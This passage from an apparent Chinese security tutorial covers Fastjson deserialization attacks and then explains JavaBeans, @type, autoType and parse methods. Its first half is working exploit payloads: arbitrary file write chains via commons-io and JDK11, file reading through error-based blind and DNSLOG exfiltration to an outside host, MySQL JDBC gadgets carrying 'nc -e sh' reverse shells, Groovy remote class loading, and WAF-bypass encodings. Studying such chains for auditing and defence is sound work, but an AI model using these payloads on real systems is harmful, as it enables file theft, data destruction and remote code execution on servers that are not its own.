" \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\n" +
" \"charSequence\":{\"@type\":\"java.lang.String\"\"" + code +"\"\n" +
" },\n" +
" \"charsetName\":\"UTF-8\",\n" +
" \"bufferSize\":1024\n" +
" },\n" +
" \"branch\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\n" +
" \"writer\":{\n" +
" \"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\n" +
" \"file\":\"e:/aaa.txt\",\n" +
" \"encoding\":\"UTF-8\",\n" +
" \"append\": false\n" +
" },\n" +
" \"charsetName\":\"UTF-8\",\n" +
" \"bufferSize\": 1024,\n" +
" \"writeImmediately\": true\n" +
" },\n" +
" \"trigger\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"is\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"$ref\":\"$.input\"\n" +
" },\n" +
" \"branch\":{\n" +
" \"$ref\":\"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\":\"text/xml\",\n" +
" \"lenient\":false,\n" +
" \"defaultEncoding\":\"UTF-8\"\n" +
" },\n" +
" \"trigger2\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"is\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"$ref\":\"$.input\"\n" +
" },\n" +
" \"branch\":{\n" +
" \"$ref\":\"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\":\"text/xml\",\n" +
" \"lenient\":false,\n" +
" \"defaultEncoding\":\"UTF-8\"\n" +
" },\n" +
" \"trigger3\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"is\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"$ref\":\"$.input\"\n" +
" },\n" +
" \"branch\":{\n" +
" \"$ref\":\"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\":\"text/xml\",\n" +
" \"lenient\":false,\n" +
" \"defaultEncoding\":\"UTF-8\"\n" +
" }\n" +
" }\n" +
"}";
System.out.println(poc4);
JSON.parseObject(poc4);

Commons-IO 2.7 - 2.8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
//commons-io 2.7 - 2.8
String code5 = "FLAG{THIS_IS_A_flAT_THAT_You_REALLY_waNT!!!}";
int length5 = code5.length();
for (int i = 0; i <= 8192 - length5 ; i++) {
code5 += " ";
}
String poc5 = "\n" +
"{\n" +
" \"x\":{\n" +
" \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
" \"input\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\n" +
" \"reader\":{\n" +
" \"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\n" +
" \"charSequence\":{\"@type\":\"java.lang.String\"\""+ code5 +"\",\n" +
" \"start\":0,\n" +
" \"end\":2147483647\n" +
" },\n" +
" \"charsetName\":\"UTF-8\",\n" +
" \"bufferSize\":1024\n" +
" },\n" +
" \"branch\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\n" +
" \"writer\":{\n" +
" \"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\n" +
" \"file\":\"e:/ccc.txt\",\n" + //更改文件写入路径
" \"charsetName\":\"UTF-8\",\n" +
" \"append\": false\n" +
" },\n" +
" \"charsetName\":\"UTF-8\",\n" +
" \"bufferSize\": 1024,\n" +
" \"writeImmediately\": true\n" +
" },\n" +
" \"trigger\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"inputStream\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"$ref\":\"$.input\"\n" +
" },\n" +
" \"branch\":{\n" +
" \"$ref\":\"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\":\"text/xml\",\n" +
" \"lenient\":false,\n" +
" \"defaultEncoding\":\"UTF-8\"\n" +
" },\n" +
" \"trigger2\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"inputStream\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"$ref\":\"$.input\"\n" +
" },\n" +
" \"branch\":{\n" +
" \"$ref\":\"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\":\"text/xml\",\n" +
" \"lenient\":false,\n" +
" \"defaultEncoding\":\"UTF-8\"\n" +
" },\n" +
" \"trigger3\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\n" +
" \"inputStream\":{\n" +
" \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +
" \"input\":{\n" +
" \"$ref\":\"$.input\"\n" +
" },\n" +
" \"branch\":{\n" +
" \"$ref\":\"$.branch\"\n" +
" },\n" +
" \"closeBranch\": true\n" +
" },\n" +
" \"httpContentType\":\"text/xml\",\n" +
" \"lenient\":false,\n" +
" \"defaultEncoding\":\"UTF-8\"\n" +
" }\n" +
" }";
System.out.println(poc5);
JSON.parseObject(poc5);

JDK11-无限制写文件

1.2.57<=FastJson<=1.2.68 主要针对JDK11版本,无其他环境依赖,且写入文件完整。 当确定JDK版本为11,可优先选择这条链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
public class Fastjson_WriteFile_JDK11 {
public static void main(String[] args) throws Exception {
String code = gzcompress("qwerasdf");
//php -r "echo base64_encode(gzcompress('qwerasdf'));"
//<=1.2.68 and JDK11
String payload = "{\r\n"
+ " \"@type\":\"java.lang.AutoCloseable\",\r\n"
+ " \"@type\":\"sun.rmi.server.MarshalOutputStream\",\r\n"
+ " \"out\":\r\n"
+ " {\r\n"
+ " \"@type\":\"java.util.zip.InflaterOutputStream\",\r\n"
+ " \"out\":\r\n"
+ " {\r\n"
+ " \"@type\":\"java.io.FileOutputStream\",\r\n"
+ " \"file\":\"e:/bbb.txt\",\r\n"
+ " \"append\":false\r\n"
+ " },\r\n"
+ " \"infl\":\r\n"
+ " {\r\n"
+ " \"input\":\r\n"
+ " {\r\n"
+ " \"array\":\""+code+"\",\r\n"
+ " \"limit\":16\r\n" //需对应修改
+ " }\r\n"
+ " },\r\n"
+ " \"bufLen\":1048576\r\n"
+ " },\r\n"
+ " \"protocolVersion\":1\r\n"
+ "}\r\n"
+ "";
System.out.println(payload);
JSON.parseObject(payload);
}
public static String gzcompress(String code) {
byte[] data = code.getBytes();
byte[] output = new byte[0];
Deflater compresser = new Deflater();
compresser.reset();
compresser.setInput(data);
compresser.finish();
ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
try {
byte[] buf = new byte[1024];
while (!compresser.finished()) {
int i = compresser.deflate(buf);
bos.write(buf, 0, i);
}
output = bos.toByteArray();
} catch (Exception e) {
output = data;
e.printStackTrace();
} finally {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
compresser.end();
System.out.println(Arrays.toString(output));
return Base64.getEncoder().encodeToString(output);
}
}

使用技巧: gzcompress中传入需要写入的数据,区别于单纯base64编码数据,测试只能通过这种方式经压缩算法压缩后写入到文件。随后是修改limit处,与之前为原始数据长度不同,这里会有一点偏差, 他往往会比真实长度要短。例如我这里要写入的数据为qwerasdf,对应长度为8,但写上8会发现写入到文件中是错误的甚至为空。 这里解决方式是利用报错,先适当写入比原始长度更长的数据,如20(测试发现尽量为2倍),同时在报错中会给出真实数据容量。 image.png 真实环境测试: image.png 409才是对应的真实数据容量 image.png image.png https://www.ctfiot.com/53462.html [https://threedr3am.github.io/2021/04/14/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84SpringBoot%20RCE/](https://threedr3am.github.io/2021/04/14/JDK8任意文件写场景下的SpringBoot RCE/) https://forum.butian.net/share/1623 https://paper.seebug.org/1698/#4 https://mp.weixin.qq.com/s/WbYi7lPEvFg-vAUB4Nlvew

读文件利用

aspectjtools

1
2
3
4
5
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.5.4</version>
</dependency>

虽然可做到读文件,但实际上是文件迁移,将会清空temp文件,写入到target中,所以,慎用!

1
2
3
4
5
6
7
//temppath存在,targetpath不存在,则将temp文件写入target
String poc3 = "{\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
" \"targetPath\": \"./bbbbbbb.txt\",\n" +
" \"tempPath\": \"e:/aaa.txt\"\n" +
"}";

Commons-IO - 报错

相较于上一种利用更加广泛,引入的依赖更加常见。

1
2
3
4
5
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.6</version>
</dependency>

类似于SQL的报错布尔盲注,根据报错信息不同判断文件内容。 后续脚本或burp爆破即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//commons-io 报错盲注
String poc2 = "{\n" +
" \"abc\": {\n" +
"\t\t\t\t\"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.apache.commons.io.input.BOMInputStream\",\n" +
" \"delegate\": {\n" +
" \"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\n" +
" \"reader\": {\n" +
" \"@type\": \"jdk.nashorn.api.scripting.URLReader\",\n" +
" \"url\": \"file:///e:/ccc.txt\"\n" + //待读取的文件内容
" },\n" +
" \"charsetName\": \"UTF-8\",\n" +
" \"bufferSize\": 1024\n" +
" },\n" +
" \"boms\": [\n" +
" {\n" +
" \"charsetName\": \"UTF-8\",\n" +
" \"bytes\": [\n" +
" 70,76\n" + //文件内容的ascii,例如e:/ccc.txt中前两个字符FL,对应的ascii:70,76
" ]\n" +
" }\n" +
" ]\n" +
" },\n" +
" \"address\": {\n" +
" \"@type\": \"java.lang.AutoCloseable\",\n" +
" \"@type\": \"org.apache.commons.io.input.CharSequenceReader\",\n" +
" \"charSequence\": {\n" +
" \"@type\": \"java.lang.String\"{\"$ref\":\"$.abc.BOM[0]\"},\n" +
" \"start\": 0,\n" +
" \"end\": 0\n" +
" }\n" +
" }\n" +
"}";

Commons-IO - DNSLOG

存在commons-io依赖即可,字节正确则发起DNS请求,根据请求读取文件信息。适用于无回显条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
{
"abc":{"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///e:/ccc.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},"boms": [
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": [70,76] //与上述一致
}
]
},
"address": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://lemono.s42bkn.dnslog.cn"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{"$ref":"$.abc.BOM[0]"}]
},
"xxx":{"$ref":"$.address.BOM[0]"}
}

Mysql-JDBC反序列化

5.1.11-5.1.48

存在mysql-connect依赖可JDBC反序列化rce。 先启动fake_mysql服务端https://github.com/fnmsd/MySQL_Fake_Server,具体使用看JDBC反序列化篇。

1
2
3
4
5
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.47</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// mysql 5.1.11-5.1.48
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3306,
"info": {
"user": "yso_CommonsCollections6_nc 127.0.0.1 9999 -e sh",
"password": "12345",
"maxAllowedPacket": "655360",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}

6.0.2-6.0.3

1
2
3
4
5
6
7
8
9
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString": {
"url": "jdbc:mysql://localhost:3306/test?allowLoadLocalInfile=true&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections6_nc 127.0.0.1 9999 -e sh"
}
}
}

8.0.19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{
"host": "127.0.0.1"
}
],
"slaves": [],
"properties": {
"host": "127.0.0.1",
"user": "yso_CommonsCollections6_calc",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"allowLoadLocalInfile": "true"
}
}
}
}

FastJson <=1.2.80

Groovy - rce

1.2.76<=FastJson<=1.2.80

1
2
3
4
5
<dependency>  
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId>
<version>3.0.9</version>
</dependency>

新建GroovyPoc.java,并编译为GroovyPoc.class(在恶意类的创建下有个问题:在idea中创建并编译为class时不要创建在任一自己的package下,这样服务端在加载该类时可能因为没有这个package导致调用失败) 比如这样是不行的,在/src/main/java目录下创建即可 image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@GroovyASTTransformation(phase = CompilePhase.CONVERSION)
public class GroovyPoc implements ASTTransformation {
public GroovyPoc(){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception ex){

}
}

@Override
public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {

}

创建META-INF/services/org.codehaus.groovy.transform.ASTTransformation文件,并写入GroovyPoc image.png image.png python -m http.server 9999 起一个http服务 此Poc仅在真实web环境中可用,因为涉及到两步操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//先执行这段JSON指定期望类加入类缓存
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}


//再执行这段JSON远程类加载恶意类
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://10.30.2.83:9999/"
}
}

image.png

Aspectj - 读文件

FastJson>=1.2.73 && <=1.2.80,利用java.lang.Character报错,回显读取任意文件

1
2
3
4
5
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>

此利用方式同上,仅在web端可行,因为需要用到缓存机制,依次发送三段payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// poc1-1
{
"@type":"java.lang.Exception",
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}

poc1-2
{
"@type":"java.lang.Class",
"val":{
"@type":"java.lang.String"{
"@type":"java.util.Locale",
"val":{
"@type":"com.alibaba.fastjson.JSONObject",
{
"@type":"java.lang.String"
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits":[{}]
}
}
}

poc1-3
{
"@type":"java.lang.Character"
{
"c":{
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"c:/windows/win.ini"
}
}

其他链请看su18的总结

还有更多的链子也可以看看我下面白盒的部分

WAF绕过

可看这篇:https://y4tacker.github.io/2022/03/30/year/2022/3/%E6%B5%85%E8%B0%88Fastjson%E7%BB%95waf/#%E7%BC%96%E7%A0%81%E7%BB%95%E8%BF%87-Unicode-Hex

FastJson默认会对Unicode和Hex解码

1
2
3
4
5
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}
||
||
\/
{"\x40\u0074\u0079\u0070\u0065":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}

_和-绕过

FastJson在解析JSON字段的key时,会将_和-替换为空;在1.2.36之前_和-只能单独使用,在1.2.36及之后,支持_和-混合使用。

1
{"@type":"com.sun.rowset.JdbcRowSetImpl",'d_a_t_aSourceName':"rmi://127.0.0.1:1099/Exploit", "autoCommit":true}

字符填充

和SQL一样,WAF会放行数据字符过大的数据包

1
2
3
4
5
{
"@type":"org.example.User",
"username":"1",
"f":"a*20000" //2万个a
}

白盒:

Java bean是什么

Java Bean 是一种遵循特定规范的 Java 类,主要用于封装数据和提供标准的访问方式。

1. 必须有无参构造函数

1
2
3
4
5
public class Student {
public Student() { // 必须有
// 可以为空
}
}

2. 属性私有化

1
2
private String name;
private int age;

3. 提供标准的 getter/setter 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// getter: get + 属性名首字母大写
public String getName() {
return name;
}

// setter: set + 属性名首字母大写
public void setName(String name) {
this.name = name;
}

// boolean类型的getter可以用is开头
private boolean active;
public boolean isActive() {
return active;
}

4. 实现 Serializable 接口(可选但推荐)

1
2
3
4
public class Student implements Serializable {
private static final long serialVersionUID = 1L;
// ...
}

完整示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class Student implements Serializable {
private String name;
private int age;
private boolean active;

// 无参构造函数
public Student() {}

// getter/setter方法
public String getName() { return name; }
public void setName(String name) { this.name = name; }

public int getAge() { return age; }
public void setAge(int age) { this.age = age; }

public boolean isActive() { return active; }
public void setActive(boolean active) { this.active = active; }
}

主要用途

  1. 数据封装:安全地存储和访问数据
  2. 框架集成:Spring、Hibernate 等框架都依赖 JavaBean 规范
  3. JSP 开发:在 Web 页面中使用 <jsp:useBean>
  4. JSON 序列化:Fastjson、Jackson 等库按照 JavaBean 规范进行转换
  5. 反射操作:各种工具可以通过反射自动处理 JavaBean

为什么重要?

  • 标准化:统一的访问方式,所有框架都能理解
  • 工具支持:IDE 可以自动生成 getter/setter
  • 反射友好:框架可以通过反射自动操作属性
  • 可维护性:清晰的结构,易于理解和维护

简单说,JavaBean 就是 Java 中的”标准数据容器”,遵循这个规范可以让你的类在各种框架和工具中”通用”。

javabean在fastjson有什么用呢?有什么关系呢?

后端里的JSONObject类型的对象和json的字符串之间的转换

就是通过javabean这个规范里的getAge和getName和setAge和setName这种函数进行转换和赋值

他会获取字符串里的key的值去找到对应的函数

然后赋值,读取也是同理

看个简单的案例了解一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class Student {
private String name;
private int age;

public Student() {
System.out.println("构造函数");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class FJTest {
public static void main(String[] args){

Student student = new Student();
student.setName("zjacky");
student.setAge(20);
String jsonstring = JSON.toJSONString(student); //, SerializerFeature.WriteClassName
System.out.println(jsonstring);

}
}

输出结果:
构造函数
setName
setAge
getAge
getName
{"age":20,"name":"zjacky"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class FJTest {
public static void main(String[] args){

Student xiaoming = JSON.parseObject("{\"age\":20,\"name\":\"zzzjjjjaaaacccckkkkkyyyy\"}",Student.class);
System.out.println("Name: "+xiaoming.getName());
System.out.println("Age: "+xiaoming.getAge());

}
}
输出结果:
构造函数
setAge
setName
getName
Name: zzzjjjjaaaacccckkkkkyyyy
getAge
Age: 20

@type是什么和fastjson漏洞的原理

我们可以发现上面的代码里parseObject里的第二个参数的意思是要指定的反序列化后得到的对象类型是什么

Student.class指定是一个Student类型

但是实际开发过程中我们可能遇到的情况是可能会返回多个类型的可能或者不知道具体返回哪个类型?

那么这个时候我们就需要引入一个@type去指定返回的类型,而第二个参数则填写Object这个类这样无论@type是什么类型都能接受

两个类型之间必须有继承关系,且@type指定的类型必须能够赋值给第二个参数指定的类型

编写代码测试的时候我们只需要在上面代码的基础上Student.class变成Object.class这样具体的类型就由@type确定了

比如这样

1
2
3
4
5
6
7
8
package org.hantest.fastjsontest1;
import com.alibaba.fastjson.JSON;
public class FJTest {
public static void main(String[] args)throws Exception {
Runtime xiaoming = (Runtime) JSON.parseObject("{\"age\":20,\"@type\":\"java.lang.Runtime\"}",Object.class);
System.out.println(xiaoming.exec("calc.exe"));
}
}

小问题的思考:

如果是上面的Object.class变成是Student.class的情况下

这个时候我又用@type去指定类型那么到底最后得到的是我指定的类型呢还是Student类的对象呢?

可以看到下图里就算我们修改了一些类转换和防止因为类的转换不成功导致的报错.但是最后的运行效果依旧是报错的

所以这种写法上的冲突是不允许存在的

代码审计的时候我们如果遇到了已经指定了第二个参数的类型并且这个类型不是Object类,那么这个时候代码审计判断这里是否可以打fastjson的利用链的漏洞就不是靠@type而是看指定的类型是否能利用或者存在危害

image-20250529161830183

autoType 是什么

autoType 是 Fastjson 的一个机制,它允许你在反序列化 JSON 时通过 @type 字段指定要反序列化成哪个 Java 类。

🔧 示例:

1
2
3
{
"@type": "java.lang.Runtime"
}

如果 autoType 被启用,Fastjson 会根据 @type 中指定的类名反射加载该类,并尝试反序列化为这个类型的对象。

如果关闭则不会根据这个指定的类名反射加载该类

但是也是可以绕过的,先了解一下这个概念,一点一点讲

其他的一些基础知识点来个总结:

Getter 方法是一种统称,方法名一般是 getXxx() 的形式。

setter方法也是如此

check

下面涉及到parseObject和parse区别

parse() vs parseObject() 区别

1. parse() 方法

  • 返回类型Object,具体类型由JSON结构决定

  • 用途:通用解析,自动推断类型

  • 行为

    • JSON对象 → JSONObject
    • JSON数组 → JSONArray
    • JSON字符串 → String
    • JSON数字 → Integer/Long/BigDecimal

2. parseObject() 方法

  • 返回类型JSONObject 或指定的类型

  • 用途:专门解析JSON对象

  • 重载版本

    • parseObject(String) → 返回 JSONObject
    • parseObject(String, Class<T>) → 返回指定类型 T

选择建议

  • 需要类型安全 → 使用 parseObject(json, MyClass.class)
  • 动态处理JSON → 使用 parse()parseObject()

使用 JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。

Feature.SupportNonPublicField 的用法和效果

1
2
3
4
5
6
7
8
9
10
11
System.out.println("=== 不启用 SupportNonPublicField ===");
Person person1 = JSON.parseObject(json, Person.class);
System.out.println(person1);
// 输出:Person{name='null', age=25, email='zhangsan@example.com'}
// name 为 null,因为没有 setName 方法

System.out.println("\n=== 启用 SupportNonPublicField ===");
Person person2 = JSON.parseObject(json, Person.class, Feature.SupportNonPublicField);
System.out.println(person2);
// 输出:Person{name='张三', age=25, email='zhangsan@example.com'}
// name 有值,因为直接设置了私有字段

WriteClassName 的用法和效果

不使用 WriteClassName:

1
{"age":28,"email":"test@example.com"}

使用 WriteClassName:

1
{"@type":"com.example.Person","age":28,"email":"test@example.com"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.hantest.fastjsontest1;

class Person {
private String name;
private int age;
public String email; // 公共字段

// 故意不提供 name 的 setter 方法
public String getName() {
return name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public String getEmail() {
return email;
}

public void setEmail(String email) {
this.email = email;
}

@Override
public String toString() {
return "Person{name='" + name + "', age=" + age + ", email='" + email + "'}";
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
package org.hantest.fastjsontest1;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.JSONArray;

public class NonPublicFieldTest {
public static void main(String[] args) {
String json = "{\"name\":\"张三\",\"age\":25,\"email\":\"zhangsan@example.com\"}";

System.out.println("=== 不启用 SupportNonPublicField ===");
Person person1 = JSON.parseObject(json, Person.class);
System.out.println(person1);
// 输出:Person{name='null', age=25, email='zhangsan@example.com'}
// name 为 null,因为没有 setName 方法

System.out.println("\n=== 启用 SupportNonPublicField ===");
Person person2 = JSON.parseObject(json, Person.class, Feature.SupportNonPublicField);
System.out.println(person2);
// 输出:Person{name='张三', age=25, email='zhangsan@example.com'}
// name 有值,因为直接设置了私有字段

System.out.println("\n" + "================");
System.out.println("=== parse() vs parseObject() 区别演示 ===");
testParseVsParseObject();

System.out.println("\n" + "================");
System.out.println("=== WriteClassName 用法和效果演示 ===");
testWriteClassName();
}

/**
* 演示 parse() 和 parseObject() 的区别
*/
public static void testParseVsParseObject() {
String jsonStr = "{\"name\":\"李四\",\"age\":30}";
String arrayJsonStr = "[{\"name\":\"王五\",\"age\":35}, {\"name\":\"赵六\",\"age\":40}]";

System.out.println("原始JSON字符串: " + jsonStr);
System.out.println("原始JSON数组: " + arrayJsonStr);

// 1. parse() - 返回 Object,具体类型取决于JSON结构
System.out.println("\n--- 使用 parse() ---");
Object parseResult1 = JSON.parse(jsonStr);
Object parseResult2 = JSON.parse(arrayJsonStr);

System.out.println("parse(jsonStr) 返回类型: " + parseResult1.getClass().getSimpleName());
System.out.println("parse(jsonStr) 结果: " + parseResult1);
System.out.println("parse(arrayJsonStr) 返回类型: " + parseResult2.getClass().getSimpleName());
System.out.println("parse(arrayJsonStr) 结果: " + parseResult2);

// 2. parseObject() - 返回 JSONObject 或指定类型
System.out.println("\n--- 使用 parseObject() ---");
JSONObject jsonObj = JSON.parseObject(jsonStr);
Person person = JSON.parseObject(jsonStr, Person.class);

System.out.println("parseObject(jsonStr) 返回类型: " + jsonObj.getClass().getSimpleName());
System.out.println("parseObject(jsonStr) 结果: " + jsonObj);
System.out.println("parseObject(jsonStr, Person.class) 返回类型: " + person.getClass().getSimpleName());
System.out.println("parseObject(jsonStr, Person.class) 结果: " + person);

// 3. 类型转换验证
System.out.println("\n--- 类型转换验证 ---");
if (parseResult1 instanceof JSONObject) {
JSONObject obj = (JSONObject) parseResult1;
System.out.println("parse()结果可以转换为JSONObject: " + obj.getString("name"));
}

if (parseResult2 instanceof JSONArray) {
JSONArray arr = (JSONArray) parseResult2;
System.out.println("parse()数组结果长度: " + arr.size());
}
}

/**
* 演示 WriteClassName 的用法和效果
*/
public static void testWriteClassName() {
Person person = new Person();
person.setAge(28);
person.setEmail("test@example.com");

System.out.println("原始对象: " + person);

// 1. 不使用 WriteClassName(默认)
System.out.println("\n--- 不使用 WriteClassName ---");
String jsonWithoutClassName = JSON.toJSONString(person);
System.out.println("序列化结果: " + jsonWithoutClassName);

// 2. 使用 WriteClassName
System.out.println("\n--- 使用 WriteClassName ---");
String jsonWithClassName = JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println("序列化结果: " + jsonWithClassName);

// 3. 反序列化对比
System.out.println("\n--- 反序列化对比 ---");

// 不带类名的反序列化 - 需要指定类型
